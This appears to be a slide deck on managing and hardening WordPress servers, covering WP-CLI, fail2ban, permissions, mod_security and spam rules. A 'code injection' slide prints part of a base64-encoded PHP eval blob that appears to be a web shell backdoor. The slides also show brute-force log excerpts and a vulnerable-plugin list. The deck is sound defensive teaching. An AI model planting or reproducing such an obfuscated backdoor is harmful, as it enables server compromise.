WordPress for SysAdmins

Javier Arturo Rodríguez
@codehead

puerto:22

Myths and Misconceptions

Myths and Misconceptions

- WordPress is:
- Troublesome to install
- Hard to maintain
- Impossible to secure

NOPE

In fact,

- WordPress is:
- ~~Troublesome~~ Trivial to install
- ~~Hard~~ Easy to maintain
- ~~Hard to secure~~ Can be hardened

WP-CLI

Download WP-CLI

```
$ curl -O https://raw.githubusercontent.com/
wp-cli/builds/gh-pages/phar/wp-cli.phar
```

VERIFY YOUR CHECKSUMS!

Verify WP-CLI

```
$ md5sum wp-cli.phar
8c9113f5de2a892837771fdacf6f8c16  wp-cli.phar
```

Install wp-cli

```
$ chmod +x wp-cli.phar
$ sudo mv wp-cli.phar /usr/local/bin/wp
$ wp --info
WP-CLI 0.18.0
```

```
---
- name: wordpress - install wp-cli
  get_url: url=https://raw.githubusercontent.com/wp-cli/builds/e94cf3fd57116b84c86a2578a0c66757fa77a592/phar/wp-cli.phar
           sha256sum=b4dd0b82df6ffd3ccbedcd9d2789dbc9f26fd21c86fc62b6f9f524d1775c9fd3
           dest=/usr/local/bin/wp-0180
           owner=root
           group=root
           mode=0755
```

Known commit

Known version

Known hash

```
$ wp help
```

https://codex.wordpress.org/Installing_WordPress#Famous_5-Minute_Install

https://codex.wordpress.org/Installing_WordPress#Famous_5-Minute_Install

Famous 5-Minute Install

Here's the quick version of the instructions for those who are already comfortable with performing such installations. More detailed instructions follow.

If you are not comfortable with renaming files, step 3 is optional and you can skip it as the install program will create the `wp-config.php` file for you.

1. Download and unzip the WordPress package if you haven't already.
2. Create a database for WordPress on your web server, as well as a MySQL user who has all privileges for accessing and modifying it.
3. (Optional) Find and rename `wp-config-sample.php` to `wp-config.php`, then edit the file (see Editing wp-config.php) and add your database information.
4. Upload the WordPress files to the desired location on your web server:
   - If you want to integrate WordPress into the root of your domain (e.g. `http://example.com/`), move or upload all contents of the unzipped WordPress directory (excluding the WordPress directory itself) into the root directory of your web server.
   - If you want to have your WordPress installation in its own subdirectory on your website (e.g. `http://example.com/blog/`), create the `blog` directory on your server and upload the contents of the unzipped WordPress package to the directory via FTP.
   - ***Note:*** *If your FTP client has an option to convert file names to lower case, make sure it's disabled.*
5. Run the WordPress installation script by accessing the URL in a web browser. This should be the URL where you uploaded the WordPress files.
   - If you installed WordPress in the root directory, you should visit: `http://example.com/`
   - If you installed WordPress in its own subdirectory called `blog`, for example, you should visit: `http://example.com/blog/`

That's it! WordPress should now be installed.

30-SECOND INSTALL

INSTALL WITH WP-CLI

INSTALL WITH WP-CLI

```
$ wp core download
$ wp core config {arguments}
$ wp core config {arguments}
$ wp user create {arguments}
```

Other wp-cli commands

```
$ wp plugin install
$ wp theme install
```

Backup

```
$ wp export
$ wp db export
```

Restore

```
$ wp db import
$ wp import
```

Security

(FROM A SYSADMIN PERSPECTIVE)

```
91.200.12.56 - - [22/Apr/2015:06:06:36 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:36 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:37 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:37 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:38 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:38 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:39 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:39 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:40 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:40 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:40 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:41 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:41 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:42 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:42 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:43 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:43 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:44 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:44 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:45 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:45 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:46 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:46 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:47 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:47 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:48 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:48 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:48 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:49 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:49 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:52 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:52 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:53 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:53 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:54 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:54 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:54 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:55 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:55 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:56 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:56 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:57 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:58 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:58 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:06:59 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:07:08 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:07:09 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:07:09 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:07:10 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:07:10 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
91.200.12.56 - - [22/Apr/2015:06:07:11 +0000] "POST /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-"
```

A BRUTE-FORCE ATTACK

IS A BRUTE-FORCE ATTACK

IS A BRUTE-FORCE ATTACK

```
Apr 21 05:40:03 myserver sshd[540]: Failed password for root from 43.255.190.187 port 40036 ssh2
Apr 21 05:40:05 myserver sshd[540]: Failed password for root from 43.255.190.187 port 40036 ssh2
Apr 21 05:40:07 myserver sshd[540]: Failed password for root from 43.255.190.187 port 40036 ssh2
Apr 21 05:40:10 myserver sshd[572]: Failed password for root from 43.255.190.187 port 57055 ssh2
Apr 21 05:40:12 myserver sshd[572]: Failed password for root from 43.255.190.187 port 57055 ssh2
Apr 21 05:40:13 myserver sshd[572]: Failed password for root from 43.255.190.187 port 57055 ssh2
Apr 21 05:40:39 myserver sshd[765]: Failed password for root from 43.255.190.126 port 47241 ssh2
Apr 21 05:40:41 myserver sshd[765]: Failed password for root from 43.255.190.126 port 47241 ssh2
Apr 21 05:40:44 myserver sshd[765]: Failed password for root from 43.255.190.126 port 47241 ssh2
Apr 21 05:40:47 myserver sshd[778]: Failed password for root from 43.255.190.126 port 37608 ssh2
Apr 21 05:40:49 myserver sshd[778]: Failed password for root from 43.255.190.126 port 37608 ssh2
Apr 21 05:40:51 myserver sshd[778]: Failed password for root from 43.255.190.126 port 37608 ssh2
Apr 21 05:40:54 myserver sshd[859]: Failed password for root from 43.255.190.126 port 54151 ssh2
Apr 21 05:47:36 myserver sshd[1937]: Failed password for root from 43.255.190.164 port 60212 ssh2
Apr 21 05:47:36 myserver sshd[1939]: Failed password for root from 43.255.190.164 port 34651 ssh2
Apr 21 05:47:39 myserver sshd[1937]: Failed password for root from 43.255.190.164 port 60212 ssh2
Apr 21 05:47:39 myserver sshd[1939]: Failed password for root from 43.255.190.164 port 34651 ssh2
Apr 21 05:47:41 myserver sshd[1937]: Failed password for root from 43.255.190.164 port 60212 ssh2
Apr 21 05:47:41 myserver sshd[1939]: Failed password for root from 43.255.190.164 port 34651 ssh2
Apr 21 05:47:44 myserver sshd[1957]: Failed password for root from 43.255.190.144 port 37130 ssh2
Apr 21 05:47:46 myserver sshd[1957]: Failed password for root from 43.255.190.144 port 37130 ssh2
Apr 21 05:47:48 myserver sshd[1957]: Failed password for root from 43.255.190.144 port 37130 ssh2
Apr 21 05:47:51 myserver sshd[1969]: Failed password for root from 43.255.190.144 port 52046 ssh2
Apr 21 05:47:52 myserver sshd[1975]: Failed password for root from 43.255.190.144 port 39578 ssh2
Apr 21 05:47:53 myserver sshd[1969]: Failed password for root from 43.255.190.144 port 52046 ssh2
Apr 21 05:47:54 myserver sshd[1975]: Failed password for root from 43.255.190.144 port 39578 ssh2
Apr 21 05:47:56 myserver sshd[1969]: Failed password for root from 43.255.190.144 port 52046 ssh2
Apr 21 05:47:57 myserver sshd[1975]: Failed password for root from 43.255.190.144 port 39578 ssh2
Apr 21 05:48:19 myserver sshd[2023]: Failed password for root from 43.255.190.186 port 38812 ssh2
Apr 21 05:48:21 myserver sshd[2023]: Failed password for root from 43.255.190.186 port 38812 ssh2
Apr 21 05:48:22 myserver sshd[2023]: Failed password for root from 43.255.190.186 port 38812 ssh2
Apr 21 05:48:25 myserver sshd[2026]: Failed password for root from 43.255.190.186 port 52811 ssh2
```

FAIL2BAN

```
$ wp plugin install --activate wp-fail2ban
```

/VAR/LOG/AUTH.LOG

```
Apr 21 19:09:07 blog wordpress(my.wordpress.install)[9298]: Authentication failure for vubpuhttcp from 110.80.74.204
Apr 21 20:39:45 blog wordpress(my.wordpress.install)[9562]: Authentication failure for vubpglyghg from 110.80.74.204
Apr 21 21:11:31 blog wordpress(my.wordpress.install)[12395]: Authentication failure for mougcersdlcrh from 176.97.116.134
Apr 21 21:11:35 blog wordpress(my.wordpress.install)[8190]: Authentication failure for mougcersdvooi from 176.97.116.134
Apr 21 21:51:34 blog wordpress(my.wordpress.install)[12395]: Authentication failure for zeeidrwz54 from 199.168.141.171
Apr 21 22:05:35 blog wordpress(my.wordpress.install)[9562]: Authentication failure for carteykilolye from 176.97.116.134
Apr 21 22:06:36 blog wordpress(my.wordpress.install)[11573]: Authentication failure for dkbzhydsxlmnvj from 176.97.116.134
Apr 22 02:28:46 blog wordpress(my.wordpress.install)[12028]: Authentication failure for gerberktzksy from 176.97.116.134
Apr 22 02:28:47 blog wordpress(my.wordpress.install)[10641]: Authentication failure for carteykilojht from 176.97.116.134
```

/etc/fail2ban/jail.local

```
[wordpress]
enabled = true
filter = wordpress
logpath = /var/log/auth.log
port = http,https
bantime = 3600
```

```
# fail2ban-client status wordpress
Status for the jail: wordpress
|- filter
|  |- File list:/var/log/auth.log
|  |- Currently failed:0
|  `- Total failed:  1016
`- action
   |- Currently banned:0
   |  `- IP list:
   `- Total banned:  53
```

TELNET?

```
$ telnet wordpress
Trying 173.194.65.104...
Connected to wordpress.
Escape character is '^]'.
Debian GNU/Linux 7
wordpress login:
```

SSH!

```
$ ssh wordpress
Host key fingerprint is
e0:84:30:20:97:36:53:f1:69:12:7a:fe:5d:32:8d:30
+--[ RSA 2048]----+
|o.+o+.           |
|..=+ + .         |
| ..o+ E          |
|    o = + o      |
|     . . S o     |
|      . . +      |
|       . .       |
|                 |
|                 |
+-----------------+

javier@wordpress password:
```

http://my.wordpress.com/wp-login.php

Enable HTTPS

```
$ a2enmod ssl
```

```
$ wp plugin install --activate wordpress-https
```

TWO-FACTOR AUTHENTICATION

```
$ wp plugin install --activate google-authenticator
```

Easy. Right?

Security is NOT an Add-On

CODE INJECTION

```
<?php eval(base64_decode("CiRhdXRoX3Bhc3MgPSAiN2U5NDI0YmZhMTJkMWYyYWQzMjQ2M2FjMWE4MGU0MDciOyAjIHRlc3QKJGNvbG9yID0gIiNkZjUiO
wokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOwokZGVmYXVsdF91c2VfYWpheCA9IHRydWU7CiRkZWZhdWx0X2NoYXJzZXQgPSAnV2luZG93cy0xMjUxJzsK
CmlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm9
0IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIik7CiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLi
AnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAgICAgaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7CiAgICAgICAgZXhpd
DsKICAgIH0KfQoKQluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGlt
ZScsMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKQGRlZmluZSgnV1NPX1ZFUlNJT04nLCAnMi41Jyk7CgppZih
nZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7CglmdW5jdGlvbiBXU09zdHJpcHNsYXNoZXMoJGFycmF5KSB7CiAgICAgICAgcmV0dXJuIGlzX2FycmF5KCRhcnJheSk
gPyBhcnJheV9tYXAoJ1dTT3N0cmlwc2xhc2hlcycsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsKICAgIH0KICAgICRfQ09PS0lFID0gV1NPU3RyaX
duaXgnOwoKJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKaWYoISRzYWZlX21vZGUpCiAgICBlcnJvcl9yZXBvcnRpbmcoMCk7CgokZGlzYWJsZ

```

WPScan Vulnerability Database WordPress Plugins Themes Submit upload SEARCH

upload SEARCH

ID	Added	Title
6113	2014-08-01	TinyMCE 3.5 - swfupload Cross-Site Scripting Vulnerability
6114	2014-08-01	wp-3dflick-slideshow - Arbitrary File Upload Vulnerability
6116	2014-08-01	wp-homepage-slideshow - Arbitrary File Upload Vulnerability
6084	2014-08-01	RokBox <= 2.13 - thumb.php src Parameter Arbitrary File Upload
6085	2014-08-01	RokIntroScroller <= 1.8 - XSS,DoS,Disclosure,Upload Vulnerabilities
6086	2014-08-01	RokMicroNews <= 1.5 - XSS,DoS,Disclosure,Upload Vulnerabilities
6087	2014-08-01	RokNewsPager <= 1.17 - XSS,DoS,Disclosure,Upload Vulnerabilities
6088	2014-08-01	RokStories <= 1.25 - XSS,DoS,Disclosure,Upload Vulnerabilities
6090	2014-08-01	sintic_gallery - Arbitrary File Upload Vulnerability
6094	2014-08-01	Shopping Cart 8.1.14 - Shell Upload, SQL Injection
6098	2014-08-01	ReFlex Gallery 1.3 - Shell Upload
6099	2014-08-01	Uploader 1.0.4 - Shell Upload
6100	2014-08-01	Uploader 1.0.4 - notify.php blog Parameter XSS
6101	2014-08-01	Uploader 1.0.0 - wp-content/plugins/uploader/views/notify.php num Parame...
6102	2014-08-01	Xerte Online 0.32 - Shell Upload
6023	2014-08-01	WordPress 2.2 (wp-app.php) Arbitrary File Upload Exploit
6016	2014-08-01	WordPress <= 2.8.5 Unrestricted File Upload Arbitrary PHP Code Execution
5995	2014-08-01	WordPress <= 3.3.2 wp-admin/media-upload.php sensitive information discl...
5999	2014-08-01	WordPress 2.5 - 3.3.1 XSS in swfupload
5977	2014-08-01	WordPress 3.5.2 SWFUpload Content Spoofing
5982	2014-08-01	WordPress File Upload Unspecified Path Disclosure
5966	2014-08-01	WordPress Plupload Unspecified XSS
5969	2014-08-01	WordPress 3.6 SWF/EXE File Upload XSS Weakness
5972	2014-08-01	WordPress 3.6 HTML File Upload XSS Weakness

← 1 2 3 4 5 6 7 8 9 *10* →

Filesystem

Permissions

User accounts

Account type	Administrative	Web daemon
uid	configmgr	www-data
Permissions	Read/Write	Read-only

File Ownership

Directory	Owner
htdocs/	configmgr
htdocs/wp-content/uploads/	www-data

```
$ chown -R configmgr.wheel htdocs/
$ chown -R www-data.www-data \
  htdocs/wp-content/uploads
```

NOEXEC

```
# Prevent malicious scripts in upload dirs
<Directory …/htdocs/wp-content/uploads>
            Options -Indexes -ExecCGI
            SetHandler None
            RemoveHandler .php .php3 .php4 .phps
            php_flag engine off
</Directory>
```

But this breaks auto-update!

```
$ wp core update
$ wp core update-db
$ wp plugin update --all
$ wp theme update --all
```

/USR/LOCAL/BIN /WP-UPDATE

```
#!/bin/sh -
cd /var/www
wp core update
wp core update-db
wp plugin update --all
wp theme update --all
```

/ETC/CRON.D/WP

```
0 3 * * * configmgr /usr/local/bin/wp-update
```

SQL INJECTION

```
# apt-get install libapache2-modsecurity
# a2enmod mod-security
```

BUT I GET FALSE POSITIVES!

APACHE2.CONF

```
# Mod_security tweaks
<IfModule mod_security2.c>
        # wp-login.php should allow redirects
        <LocationMatch "^/(wp-login\.php)">
                SecRuleRemoveById 950901
        </LocationMatch>
</IfModule>
```

APACHE2.CONF

```
# Mod_security tweaks
<IfModule mod_security2.c>
    # wp-login.php should allow redirects
    <LocationMatch "^/(wp-login\.php)">
        SecRuleRemoveById 950901
    </LocationMatch>
    # Images are (mostly) harmless
    <FilesMatch "\.(gif|jpe?g|png)$">
        SecRuleEngine Off
    </FilesMatch>
</IfModule>
```

APACHE2.CONF

```
# Mod_security tweaks
<IfModule mod_security2.c>
    # wp-login.php should allow redirects
    <LocationMatch "^/(wp-login\.php)">
            SecRuleRemoveById 950901
    </LocationMatch>
   # Images are (mostly) harmless
    <FilesMatch "\.(gif|jpe?g|png)$">
            SecRuleEngine Off
    </FilesMatch>
    # wp-admin/ is a protected area
    <LocationMatch "^/(wp-admin/)">
            SecRuleEngine Off
    </LocationMatch>
</IfModule>

# Enable Basic Auth on /wp-admin/ to discourage attacks
<Location /wp-admin/>
    AuthType Basic
    AuthName "Restricted Area"
    AuthUserFile /etc/wpadmin.passwd
    Require valid-user
</Location>
```

SPAM

```
$ wp plugin install --activate akismet
$ wp plugin install --activate google-captcha
```

SetEnvIf*

.HTACCESS

```
SetEnvIfNoCase Via evil-spam-proxy spammer=yes
SetEnvIfNoCase Referer evil-spam-domain.com spammer=yes
SetEnvIfNoCase Referer evil-spam-keyword spammer=yes
SetEnvIfNoCase Via pinappleproxy spammer=yes
SetEnvIfNoCase Referer semalt.com spammer=yes
SetEnvIfNoCase Referer poker spammer=yes
...
Order allow,deny
Allow from all
Deny from env=spammer
```

https://wordpress.org/support/topic/how-to-block-semaltcom-from-visiting-your-wordpress-website

Creepy Crawlers

ROBOTS.TXT

ROBOTS.TXT

```
User-agent: *
Crawl-delay: 30
```

MOD_QOS

MOD_QOS

```
# apt-get install libapache2-mod-qos
# a2enmod qos
```

MOD_EVASIVE

Summary

- wp-cli for the win
- WordPress can be managed like any other system
- WordPress security can be managed at the system level
- Automate!

Q&A

Javier Arturo Rodríguez
@codehead

Thank you!

Javier Arturo Rodríguez
@codehead